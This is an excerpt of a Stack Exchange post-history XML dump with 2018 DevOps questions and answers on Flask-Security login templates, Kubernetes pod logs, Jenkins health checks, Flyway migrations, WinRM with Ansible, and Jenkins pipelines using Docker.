  <row Id="11624" PostHistoryTypeId="2" PostId="3717" RevisionGUID="d722f4e2-9fd2-49d8-8815-5f6e70756895" CreationDate="2018-03-26T07:38:58.610" UserId="7098" Text="I have an issue with my app, since I was adding the feature &quot;users roles&quot; I am getting a strange page content on login page looks like default login page instead of my custom login page and I cannot explain why is happening because I did not change the urls and when I am removing the &quot;users roles code&quot; is working perfect. Could you explain how is possible?&#xD;&#xA;&#xD;&#xA;This is the code what is creating the issue:&#xD;&#xA;&#xD;&#xA;    import os&#xD;&#xA;    import base64&#xD;&#xA;    from io import BytesIO&#xD;&#xA;    from flask import Flask, render_template, request, redirect, url_for, flash, session, \&#xD;&#xA;        abort&#xD;&#xA;    from werkzeug.security import generate_password_hash, check_password_hash&#xD;&#xA;    from flask_sqlalchemy import SQLAlchemy&#xD;&#xA;    from flask_login import LoginManager, UserMixin, login_user, logout_user, \&#xD;&#xA;        current_user&#xD;&#xA;    from flask_bootstrap import Bootstrap&#xD;&#xA;    from flask_wtf import FlaskForm&#xD;&#xA;    from wtforms import StringField, PasswordField, SubmitField, SelectField&#xD;&#xA;    from wtforms.validators import Required, Length, EqualTo&#xD;&#xA;    import onetimepass&#xD;&#xA;    import pyqrcode&#xD;&#xA;    from datetime import datetime, date, time, timedelta&#xD;&#xA;    from sqlalchemy import Table, Column, Integer, ForeignKey&#xD;&#xA;    from sqlalchemy.orm import relationship&#xD;&#xA;    from sqlalchemy.ext.declarative import declarative_base&#xD;&#xA;    from flask_security import Security, SQLAlchemyUserDatastore, \&#xD;&#xA;        UserMixin, RoleMixin, login_required&#xD;&#xA;    &#xD;&#xA;    # create application instance&#xD;&#xA;    app = Flask(__name__)&#xD;&#xA;    app.config.from_object('config')&#xD;&#xA;    &#xD;&#xA;    # initialize extensions&#xD;&#xA;    bootstrap = Bootstrap(app)&#xD;&#xA;    db = SQLAlchemy(app)&#xD;&#xA;    lm = LoginManager(app)&#xD;&#xA;    Base = declarative_base()&#xD;&#xA;    &#xD;&#xA;    # Define models&#xD;&#xA;    roles_users = db.Table('roles_users',&#xD;&#xA;            db.Column('users_id', db.Integer(), db.ForeignKey('users.id')),&#xD;&#xA;            db.Column('role_id', db.Integer(), db.ForeignKey('role.id')))&#xD;&#xA;    &#xD;&#xA;    class Role(db.Model, RoleMixin):&#xD;&#xA;        id = db.Column(db.Integer(), primary_key=True)&#xD;&#xA;        name = db.Column(db.String(80), unique=True)&#xD;&#xA;        description = db.Column(db.String(255))&#xD;&#xA;    &#xD;&#xA;    class User(UserMixin, db.Model):&#xD;&#xA;        &quot;&quot;&quot;User model.&quot;&quot;&quot;&#xD;&#xA;        __tablename__ = 'users'&#xD;&#xA;        id = db.Column(db.Integer, unique=True, nullable=False, primary_key=True)&#xD;&#xA;        username = db.Column(db.String(64), unique=True, index=True)&#xD;&#xA;        password_hash = db.Column(db.String(128))&#xD;&#xA;        otp_secret = db.Column(db.String(16))&#xD;&#xA;        access = db.Column(db.String(16))&#xD;&#xA;        roles = db.relationship('Role', secondary=roles_users,&#xD;&#xA;                                backref=db.backref('users', lazy='dynamic'))&#xD;&#xA;    &#xD;&#xA;        def __init__(self, **kwargs):&#xD;&#xA;            super(User, self).__init__(**kwargs)&#xD;&#xA;            if self.otp_secret is None:&#xD;&#xA;                # generate a random secret&#xD;&#xA;                self.otp_secret = base64.b32encode(os.urandom(10)).decode('utf-8')&#xD;&#xA;    &#xD;&#xA;        @property&#xD;&#xA;        def password(self):&#xD;&#xA;            raise AttributeError('password is not a readable attribute')&#xD;&#xA;    &#xD;&#xA;        @password.setter&#xD;&#xA;        def password(self, password):&#xD;&#xA;            self.password_hash = generate_password_hash(password)&#xD;&#xA;    &#xD;&#xA;        def verify_password(self, password):&#xD;&#xA;            return check_password_hash(self.password_hash, password)&#xD;&#xA;    &#xD;&#xA;        def get_totp_uri(self):&#xD;&#xA;            return 'otpauth://totp/2FA-Demo:{0}?secret={1}&amp;issuer=2FA-Demo' \&#xD;&#xA;                .format(self.username, self.otp_secret)&#xD;&#xA;    &#xD;&#xA;        def verify_totp(self, token):&#xD;&#xA;            return onetimepass.valid_totp(token, self.otp_secret)&#xD;&#xA;    &#xD;&#xA;    ################################################################################&#xD;&#xA;    user_datastore = SQLAlchemyUserDatastore(db, User, Role)&#xD;&#xA;    security = Security(app, user_datastore)&#xD;&#xA;    ###############################################################################&#xD;&#xA;    &#xD;&#xA;    @lm.user_loader&#xD;&#xA;    def load_user(user_id):&#xD;&#xA;        &quot;&quot;&quot;User loader callback for Flask-Login.&quot;&quot;&quot;&#xD;&#xA;        return User.query.get(int(user_id))&#xD;&#xA;    &#xD;&#xA;    class RegisterForm(FlaskForm):&#xD;&#xA;        &quot;&quot;&quot;Registration form.&quot;&quot;&quot;&#xD;&#xA;        access = SelectField(validators=[Required()],&#xD;&#xA;                choices=[(&quot;dm&quot;, &quot;demo&quot;),&#xD;&#xA;                (&quot;dm2&quot;, &quot;demo2&quot;)])&#xD;&#xA;        username = StringField('Username', validators=[Required(), Length(1, 9)])&#xD;&#xA;        password = PasswordField('Password', validators=[Required(), Length(4, 4)])&#xD;&#xA;        password_again = PasswordField('Password again',&#xD;&#xA;                                       validators=[Required(), EqualTo('password')])&#xD;&#xA;        submit = SubmitField('Register')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    class LoginForm(FlaskForm):&#xD;&#xA;        &quot;&quot;&quot;Login form.&quot;&quot;&quot;&#xD;&#xA;        username = StringField('Username', validators=[Required(), Length(1, 9)])&#xD;&#xA;        password = PasswordField('Password', validators=[Required(), Length(4, 4)])&#xD;&#xA;        token = PasswordField('Token', validators=[Required(), Length(6, 6)])&#xD;&#xA;        submit = SubmitField('Login')&#xD;&#xA;    &#xD;&#xA;    @app.route('/')&#xD;&#xA;    def index():&#xD;&#xA;        return render_template('index.html')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    @app.route('/register', methods=['GET', 'POST'])&#xD;&#xA;    def register():&#xD;&#xA;        &quot;&quot;&quot;User registration route.&quot;&quot;&quot;&#xD;&#xA;        if current_user.is_authenticated:&#xD;&#xA;            # if user is logged in we get out of here&#xD;&#xA;            return redirect(url_for('index'))&#xD;&#xA;        form = RegisterForm()&#xD;&#xA;        if form.validate_on_submit():&#xD;&#xA;            user = User.query.filter_by(username=form.username.data).first()&#xD;&#xA;            if user is not None:&#xD;&#xA;                flash('Username already exists.')&#xD;&#xA;                return redirect(url_for('register'))&#xD;&#xA;            # add new user to the database&#xD;&#xA;            user = User(username=form.username.data, password=form.password.data, access=form.access.data)&#xD;&#xA;            db.session.add(user)&#xD;&#xA;            db.session.commit()&#xD;&#xA;    &#xD;&#xA;            # redirect to the two-factor auth page, passing username in session&#xD;&#xA;            session['username'] = user.username&#xD;&#xA;            return redirect(url_for('two_factor_setup'))&#xD;&#xA;        return render_template('auth/register.html', form=form)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    @app.route('/twofactor')&#xD;&#xA;    def two_factor_setup():&#xD;&#xA;        if 'username' not in session:&#xD;&#xA;            return redirect(url_for('index'))&#xD;&#xA;        user = User.query.filter_by(username=session['username']).first()&#xD;&#xA;        if user is None:&#xD;&#xA;            return redirect(url_for('index'))&#xD;&#xA;        # since this page contains the sensitive qrcode, make sure the browser&#xD;&#xA;        # does not cache it&#xD;&#xA;        return render_template('auth/2fa.html'), 200, {&#xD;&#xA;            'Cache-Control': 'no-cache, no-store, must-revalidate',&#xD;&#xA;            'Pragma': 'no-cache',&#xD;&#xA;            'Expires': '0'}&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    @app.route('/qrcode')&#xD;&#xA;    def qrcode():&#xD;&#xA;        if 'username' not in session:&#xD;&#xA;            abort(404)&#xD;&#xA;        user = User.query.filter_by(username=session['username']).first()&#xD;&#xA;        if user is None:&#xD;&#xA;            abort(404)&#xD;&#xA;    &#xD;&#xA;        # for added security, remove username from session&#xD;&#xA;        del session['username']&#xD;&#xA;    &#xD;&#xA;        # render qrcode for FreeTOTP&#xD;&#xA;        url = pyqrcode.create(user.get_totp_uri())&#xD;&#xA;        stream = BytesIO()&#xD;&#xA;        url.svg(stream, scale=3)&#xD;&#xA;        return stream.getvalue(), 200, {&#xD;&#xA;            'Content-Type': 'image/svg+xml',&#xD;&#xA;            'Cache-Control': 'no-cache, no-store, must-revalidate',&#xD;&#xA;            'Pragma': 'no-cache',&#xD;&#xA;            'Expires': '0'}&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    @app.route('/login', methods=['GET', 'POST'])&#xD;&#xA;    def login():&#xD;&#xA;        &quot;&quot;&quot;User login route.&quot;&quot;&quot;&#xD;&#xA;        if current_user.is_authenticated:&#xD;&#xA;            # if user is logged in we get out of here&#xD;&#xA;            return redirect(url_for('index'))&#xD;&#xA;        form = LoginForm()&#xD;&#xA;        if form.validate_on_submit():&#xD;&#xA;            user = User.query.filter_by(username=form.username.data).first()&#xD;&#xA;            if user is None or not user.verify_password(form.password.data) or \&#xD;&#xA;                    not user.verify_totp(form.token.data):&#xD;&#xA;                flash('Invalid username, password or token.')&#xD;&#xA;                return redirect(url_for('login'))&#xD;&#xA;    &#xD;&#xA;            # log user in&#xD;&#xA;            login_user(user)&#xD;&#xA;            flash('You are now logged in!')&#xD;&#xA;            return redirect(url_for('cm_e_11a'))&#xD;&#xA;        return render_template('auth/login.html', form=form)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    @app.route('/logout')&#xD;&#xA;    def logout():&#xD;&#xA;        &quot;&quot;&quot;User logout route.&quot;&quot;&quot;&#xD;&#xA;        logout_user()&#xD;&#xA;        return redirect(url_for('index'))&#xD;&#xA;&#xD;&#xA;And this is the Login page what is returning &#xD;&#xA;&#xD;&#xA;[![pic][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/t0ONV.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;instead of mine what should contain username, password &amp; pin&#xD;&#xA;&#xD;&#xA;And the login page has this source code:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;Login&lt;/h1&gt;&#xD;&#xA;    &lt;form action=&quot;/login&quot; method=&quot;POST&quot; name=&quot;login_user_form&quot;&gt;&#xD;&#xA;      &lt;input id=&quot;next&quot; name=&quot;next&quot; type=&quot;hidden&quot; value=&quot;&quot;&gt;&#xD;&#xA;    &lt;input id=&quot;csrf_token&quot; name=&quot;csrf_token&quot; type=&quot;hidden&quot; value=&quot;IjEyNWY4ZjliNmIxZTJjNmM3YmM4YzFlM2U0NWZlYjJlMDEzYThiNWEi.DZnvqw.key_C7NmtQogY7CSpb14sfVDUOQ&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;p&gt;&#xD;&#xA;        &lt;label for=&quot;email&quot;&gt;Email Address&lt;/label&gt; &lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;text&quot; value=&quot;&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;/p&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      &lt;p&gt;&#xD;&#xA;        &lt;label for=&quot;password&quot;&gt;Password&lt;/label&gt; &lt;input id=&quot;password&quot; name=&quot;password&quot; type=&quot;password&quot; value=&quot;&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;/p&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      &lt;p&gt;&#xD;&#xA;        &lt;label for=&quot;remember&quot;&gt;Remember Me&lt;/label&gt; &lt;input id=&quot;remember&quot; name=&quot;remember&quot; type=&quot;checkbox&quot; value=&quot;y&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;/p&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      &lt;p&gt;&lt;input id=&quot;next&quot; name=&quot;next&quot; type=&quot;hidden&quot; value=&quot;&quot;&gt;&lt;/p&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      &lt;p&gt;&lt;input id=&quot;submit&quot; name=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Login&quot;&gt;&lt;/p&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11625" PostHistoryTypeId="1" PostId="3717" RevisionGUID="d722f4e2-9fd2-49d8-8815-5f6e70756895" CreationDate="2018-03-26T07:38:58.610" UserId="7098" Text="Why flask is returning a default login page instead mine, custom one" ContentLicense="CC BY-SA 3.0" />
  <row Id="11626" PostHistoryTypeId="3" PostId="3717" RevisionGUID="d722f4e2-9fd2-49d8-8815-5f6e70756895" CreationDate="2018-03-26T07:38:58.610" UserId="7098" Text="&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11627" PostHistoryTypeId="2" PostId="3718" RevisionGUID="ec5ae9dc-60d6-426f-bf37-fe6a48b8d080" CreationDate="2018-03-26T08:50:40.940" UserId="7098" Text="I found the solution!!!&#xD;&#xA;&#xD;&#xA;Views&#xD;&#xA;Flask-Security is packaged with a default template for each view it presents to a user. Templates are located within a subfolder named security. The following is a list of view templates:&#xD;&#xA;&#xD;&#xA;security/forgot_password.html&#xD;&#xA;security/login_user.html&#xD;&#xA;security/register_user.html&#xD;&#xA;security/reset_password.html&#xD;&#xA;security/change_password.html&#xD;&#xA;security/send_confirmation.html&#xD;&#xA;security/send_login.html&#xD;&#xA;Overriding these templates is simple:&#xD;&#xA;&#xD;&#xA;Create a folder named security within your application’s templates folder&#xD;&#xA;Create a template with the same name for the template you wish to override&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11628" PostHistoryTypeId="2" PostId="3719" RevisionGUID="3c91d7c7-f5a1-4d41-8fb2-6fb37f3b25a8" CreationDate="2018-03-26T10:45:17.227" UserId="6743" Text="I'm trying to execute `kubectl logs` on one of my pods.&#xD;&#xA;&#xD;&#xA;When pod is created on node different than master - it fails with following message:&#xD;&#xA;&#xD;&#xA;    Error from server: Get https://kube-worker-3:10250/containerLogs/my-namespace/my-pod-name/my-statefulset-name: Gateway Timeout&#xD;&#xA;&#xD;&#xA;I thought that port may be closed, but when I check it with `nmap`, it works:&#xD;&#xA;&#xD;&#xA;    root@server:~# nmap -Pn -p 10250 kube-worker-3&#xD;&#xA;&#xD;&#xA;    Starting Nmap 7.01 ( https://nmap.org ) at 2018-03-26 02:10 EDT&#xD;&#xA;    Nmap scan report for kube-worker-3 (MY_NODE_IP)&#xD;&#xA;    Host is up (0.00053s latency).&#xD;&#xA;    PORT      STATE SERVICE&#xD;&#xA;    10250/tcp open  unknown&#xD;&#xA;&#xD;&#xA;    Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds&#xD;&#xA;&#xD;&#xA;I have all hosts added to my `/etc/hosts` file on master node so they are resolved properly.&#xD;&#xA;&#xD;&#xA;When pod is created on master branch, I can get logs without any problems..&#xD;&#xA;&#xD;&#xA;Any ideas what else I should check here?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11629" PostHistoryTypeId="1" PostId="3719" RevisionGUID="3c91d7c7-f5a1-4d41-8fb2-6fb37f3b25a8" CreationDate="2018-03-26T10:45:17.227" UserId="6743" Text="Gateway TimeoutError from server while accessing pods logs" ContentLicense="CC BY-SA 3.0" />
  <row Id="11630" PostHistoryTypeId="3" PostId="3719" RevisionGUID="3c91d7c7-f5a1-4d41-8fb2-6fb37f3b25a8" CreationDate="2018-03-26T10:45:17.227" UserId="6743" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11631" PostHistoryTypeId="2" PostId="3720" RevisionGUID="95400f92-53c9-40de-b769-591edd82a2bf" CreationDate="2018-03-26T11:51:46.967" UserId="800" Text="I'm planning to supervise services by periodically by checking if they are up and running, Jenkins is our central orchestration tool and must be running with near zero downtime.&#xD;&#xA;&#xD;&#xA;How can I check health status of a Jenkins server - **By health status I mean service is up and web app application is operational** ?&#xD;&#xA;&#xD;&#xA;Does Jenkins provide a native health check URL ? Or does I need to make additional scripts?  if so what factors should be included in beside checking `jenkins.service` and curl web app home page." ContentLicense="CC BY-SA 3.0" />
  <row Id="11632" PostHistoryTypeId="1" PostId="3720" RevisionGUID="95400f92-53c9-40de-b769-591edd82a2bf" CreationDate="2018-03-26T11:51:46.967" UserId="800" Text="Jenkins Health Check URL" ContentLicense="CC BY-SA 3.0" />
  <row Id="11633" PostHistoryTypeId="3" PostId="3720" RevisionGUID="95400f92-53c9-40de-b769-591edd82a2bf" CreationDate="2018-03-26T11:51:46.967" UserId="800" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11634" PostHistoryTypeId="36" PostId="3721" RevisionGUID="e2ab41ac-d18a-4148-9910-2d31266a6c78" CreationDate="2018-03-26T12:24:02.363" UserId="-1" Comment="from https://softwareengineering.stackexchange.com/questions/368335/is-there-a-standard-pattern-for-doing-flyway-migrations-on-a-kubernetes-stack" />
  <row Id="11635" PostHistoryTypeId="2" PostId="3721" RevisionGUID="a9e51989-17ff-4f59-b14d-3246f6171320" CreationDate="2018-03-25T23:03:31.330" UserId="7118" UserDisplayName="dwjohnston" Text="My google-fu is failing me here. &#xD;&#xA;&#xD;&#xA;There's these [instructions from redhat](https://developers.redhat.com/blog/2018/01/10/flyway-containerized-db-changes/) but they're cooking their own flyway. &#xD;&#xA;&#xD;&#xA;Here's what I've done: &#xD;&#xA;&#xD;&#xA;I have a dockerfile that looks like this: &#xD;&#xA;&#xD;&#xA;    FROM  boxfuse/flyway&#xD;&#xA;    ADD ./flyway /flyway&#xD;&#xA;    &#xD;&#xA;    #TODO: pass the username/password in from kubernetes&#xD;&#xA;    CMD [&quot;-X&quot;, &quot;-url=jdbc:mysql://db-service&quot;, &quot;-schemas=myapp&quot;, &quot;-user=root&quot;, &quot;-password=P@ssw0rd&quot;, &quot;migrate&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And I build it with: &#xD;&#xA;&#xD;&#xA;    docker build -t flyway-migrate:3 . &#xD;&#xA;&#xD;&#xA;Where `3` is the number that the flyway migration is up to. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I then have a kubernetes job to run this script: &#xD;&#xA;&#xD;&#xA;    apiVersion: batch/v1&#xD;&#xA;    kind: Job&#xD;&#xA;    metadata:&#xD;&#xA;      name: flyway-job&#xD;&#xA;    spec:&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: java-app&#xD;&#xA;            tier: flyway&#xD;&#xA;            track: stable&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;            - name: flyway&#xD;&#xA;              image: &quot;flyway-migrate:3&quot;&#xD;&#xA;              imagePullPolicy: IfNotPresent&#xD;&#xA;          restartPolicy: Never&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This works fine, but there's a few questions I have. &#xD;&#xA;&#xD;&#xA;1. Whenever increment the flyway migration number, I have to rebuild the image, and then update the job, and delete the existing job and recreate it. &#xD;&#xA; - Is there a way to rerun jobs? &#xD;&#xA; - Is there a way to run the kubernetes job saying 'Use this image tag'. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11636" PostHistoryTypeId="1" PostId="3721" RevisionGUID="a9e51989-17ff-4f59-b14d-3246f6171320" CreationDate="2018-03-25T23:03:31.330" UserId="7118" UserDisplayName="dwjohnston" Text="Is there a standard pattern for doing flyway migrations on a kubernetes stack?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11637" PostHistoryTypeId="3" PostId="3721" RevisionGUID="a9e51989-17ff-4f59-b14d-3246f6171320" CreationDate="2018-03-25T23:03:31.330" UserId="7118" UserDisplayName="dwjohnston" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11638" PostHistoryTypeId="5" PostId="3720" RevisionGUID="314fd31b-2fec-4ce2-b16f-0e9491f9ef45" CreationDate="2018-03-26T12:38:22.100" UserId="800" Comment="deleted 3 characters in body" Text="I'm planning to supervise services by periodically checking if they are up and running, Jenkins is our central orchestration tool and must be running with near zero downtime.&#xD;&#xA;&#xD;&#xA;How can I check health status of a Jenkins server - **By health status I mean service is up and web app application is operational** ?&#xD;&#xA;&#xD;&#xA;Does Jenkins provide a native health check URL ? Or does I need to make additional scripts?  if so what factors should be included in beside checking `jenkins.service` and curl web app home page." ContentLicense="CC BY-SA 3.0" />
  <row Id="11639" PostHistoryTypeId="50" PostId="3089" RevisionGUID="0c93d7db-76ae-49f1-86ce-733d9242b90d" CreationDate="2018-03-26T13:36:43.393" UserId="-1" />
  <row Id="11640" PostHistoryTypeId="2" PostId="3722" RevisionGUID="96a7326a-abd1-4ae9-98a0-7a589b6914d0" CreationDate="2018-03-26T14:31:23.390" UserId="6609" Text="while using ansible to manage some AWS based windows machines &#xD;&#xA;&#xD;&#xA;when connecting using the IP as destination,on some machines im getting an SSL Error &#xD;&#xA;credssp: HTTPSConnectionPool(host='18.217.233.26', port=5986): Max retries exceeded with url: /wsman (Caused by SSLError(SSLError(\&quot;bad handshake: SysCallError(-1, 'Unexpected EOF')\&quot;,),))&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;&#xD;&#xA;In wireshark it looks like TCP RST is sent by server&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when connecting using hostname or FQDN the connection succeeds &#xD;&#xA;&#xD;&#xA;I dont see any relevant log in the event logs on WSMan side&#xD;&#xA;&#xD;&#xA;anybody have any experience with setting up winrm for ansible and can assist?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11641" PostHistoryTypeId="1" PostId="3722" RevisionGUID="96a7326a-abd1-4ae9-98a0-7a589b6914d0" CreationDate="2018-03-26T14:31:23.390" UserId="6609" Text="WinRM / WSMan - getting SSL handshake error / TCP RST when connecting with IP address, correct connection when connecting with hostname" ContentLicense="CC BY-SA 3.0" />
  <row Id="11642" PostHistoryTypeId="3" PostId="3722" RevisionGUID="96a7326a-abd1-4ae9-98a0-7a589b6914d0" CreationDate="2018-03-26T14:31:23.390" UserId="6609" Text="&lt;ansible&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11643" PostHistoryTypeId="50" PostId="1533" RevisionGUID="c126095f-82fa-4f7b-bbf7-28582de0eddc" CreationDate="2018-03-26T14:36:45.117" UserId="-1" />
  <row Id="11644" PostHistoryTypeId="2" PostId="3723" RevisionGUID="92bbde7d-7da9-40a4-b145-9787ff50b78b" CreationDate="2018-03-26T14:43:45.733" UserId="47" Text="The complication reside in the definition of the health status (and its usefulness).&#xD;&#xA;&#xD;&#xA;You mentioned the definition being `service is up and web app application is operational` and for that indeed checking the homepage *should* suffice.&#xD;&#xA;&#xD;&#xA;However that doesn't mean the service is properly configured for and correctly performing all the jobs that it's supposed to be doing. Without a consistent, universally acceptable definition of a health status there is no point of providing such information as a single, one-stop location to check.&#xD;&#xA;&#xD;&#xA;But Jenkins offers via its [Remote access API][1] various checking points that users can combine to derive their interpretation of the overall service health status. For example maybe checking the status of all the configured jobs or at least that of the critical ones would be more useful, which could be done using the `.../job_id/lastSuccessfulBuild/api/` or `.../job_id/api/` checkpoints. &#xD;&#xA;&#xD;&#xA;The [JenkinsAPI][2] could also be of interest (better docs at least), found via [Where can I find jenkins restful api reference?][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Remote+access+API&#xD;&#xA;  [2]: http://jenkinsapi.readthedocs.io/en/latest/&#xD;&#xA;  [3]: https://stackoverflow.com/questions/25661362/where-can-i-find-jenkins-restful-api-reference" ContentLicense="CC BY-SA 3.0" />
  <row Id="11645" PostHistoryTypeId="5" PostId="3722" RevisionGUID="f453b9fb-511f-40e9-903f-f05214e643a9" CreationDate="2018-03-26T14:47:40.750" UserId="47" Comment="improved formatting" Text="while using ansible to manage some AWS based windows machines &#xD;&#xA;&#xD;&#xA;when connecting using the IP as destination,on some machines im getting an SSL Error &#xD;&#xA;&#xD;&#xA;&gt; credssp: HTTPSConnectionPool(host='18.217.233.26', port=5986): Max&#xD;&#xA;&gt; retries exceeded with url: /wsman (Caused by SSLError(SSLError(\&quot;bad&#xD;&#xA;&gt; handshake: SysCallError(-1, 'Unexpected EOF')\&quot;,),))&quot;, &quot;unreachable&quot;:&#xD;&#xA;&gt; true}&#xD;&#xA;&#xD;&#xA;In wireshark it looks like TCP RST is sent by server&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when connecting using hostname or FQDN the connection succeeds &#xD;&#xA;&#xD;&#xA;I dont see any relevant log in the event logs on WSMan side&#xD;&#xA;&#xD;&#xA;anybody have any experience with setting up winrm for ansible and can assist?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11646" PostHistoryTypeId="2" PostId="3724" RevisionGUID="086067a4-d8fb-4cc8-b43b-d701794dbe07" CreationDate="2018-03-26T15:12:36.347" UserId="800" Text="I faced the same error .. You probably want to run [ConfigureRemotingForAnsible.ps1](https://github.com/ansible/ansible/blob/devel/examples/scripts/ConfigureRemotingForAnsible.ps1) script with `-ForceNewSSLCert` option on your remote machines.&#xD;&#xA;&#xD;&#xA;    .\ConfigureRemotingForAnsible.ps1 -ForceNewSSLCert" ContentLicense="CC BY-SA 3.0" />
  <row Id="11647" PostHistoryTypeId="50" PostId="1193" RevisionGUID="a128b0a6-24d8-475e-8cd1-3ff6d61b98bc" CreationDate="2018-03-26T15:36:45.070" UserId="-1" />
  <row Id="11655" PostHistoryTypeId="50" PostId="1422" RevisionGUID="ae657f4a-8b27-42bc-bedd-00873651cde2" CreationDate="2018-03-26T17:37:04.123" UserId="-1" />
  <row Id="11656" PostHistoryTypeId="2" PostId="3727" RevisionGUID="80bca815-88a3-495f-be8b-81c55c2f8bc1" CreationDate="2018-03-26T17:55:01.467" UserId="7109" Text="I looked over the Internet, but I couldn't find anything related, probabily I didn't search for the right question.&#xD;&#xA;&#xD;&#xA;I have a CI server which has Jenkins installed in the host it self, and I want to run builds and tests inside Docker containers. Until here it works like it should, but I also want to deploy containers using docker-compose and this should be done in the host, but when I run commands inside the Jenkinsfile, they are ran inside the Docker container used for builds and tests.&#xD;&#xA;&#xD;&#xA;What is the solution for this?&#xD;&#xA;&#xD;&#xA;Best regards,&#xD;&#xA;Alex!&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent {&#xD;&#xA;        dockerfile {&#xD;&#xA;            filename &quot;Dockerfile&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage(&quot;Run unit tests&quot;) {&#xD;&#xA;            steps {&#xD;&#xA;                # This is ran inside the Docker container, as expected&#xD;&#xA;                sh &quot;cp environments/.env.build .env&quot;&#xD;&#xA;                sh &quot;vendor/bin/phpunit&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('Deploy to test') {&#xD;&#xA;            when {&#xD;&#xA;                branch &quot;develop&quot;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                # This is still ran inside the Docker container, not the host&#xD;&#xA;                sh 'docker-compose up -d'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage(&quot;Archive&quot;) {&#xD;&#xA;            steps {&#xD;&#xA;                # This is ran inside the Docker container, as expected&#xD;&#xA;                sh &quot;zip -r dist.zip .&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    post {&#xD;&#xA;        always {&#xD;&#xA;            archiveArtifacts artifacts: &quot;dist.zip&quot;&#xD;&#xA;            junit &quot;reports/phpunit.report.xml&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**PS: I have originally posted this at https://stackoverflow.com/questions/49494571/jenkins-pipeline-docker-integration and copied it here as a user suggested it and it sounded as a better location, so I dit it.**" ContentLicense="CC BY-SA 3.0" />
  <row Id="11657" PostHistoryTypeId="1" PostId="3727" RevisionGUID="80bca815-88a3-495f-be8b-81c55c2f8bc1" CreationDate="2018-03-26T17:55:01.467" UserId="7109" Text="Jenkins pipeline + Docker integration" ContentLicense="CC BY-SA 3.0" />
  <row Id="11658" PostHistoryTypeId="3" PostId="3727" RevisionGUID="80bca815-88a3-495f-be8b-81c55c2f8bc1" CreationDate="2018-03-26T17:55:01.467" UserId="7109" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11659" PostHistoryTypeId="5" PostId="3727" RevisionGUID="82b53afd-acfb-450a-a7f9-1fd0984c5d06" CreationDate="2018-03-26T18:11:50.637" UserId="210" Comment="deleted 177 characters in body" Text="I have a CI server which has Jenkins installed in the host it self, and I want to run builds and tests inside Docker containers. Until here it works like it should, but I also want to deploy containers using docker-compose and this should be done in the host, but when I run commands inside the Jenkinsfile, they are ran inside the Docker container used for builds and tests.&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent {&#xD;&#xA;        dockerfile {&#xD;&#xA;            filename &quot;Dockerfile&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage(&quot;Run unit tests&quot;) {&#xD;&#xA;            steps {&#xD;&#xA;                # This is ran inside the Docker container, as expected&#xD;&#xA;                sh &quot;cp environments/.env.build .env&quot;&#xD;&#xA;                sh &quot;vendor/bin/phpunit&quot;&#xD;&#xA;            }&#xD;&#xA;        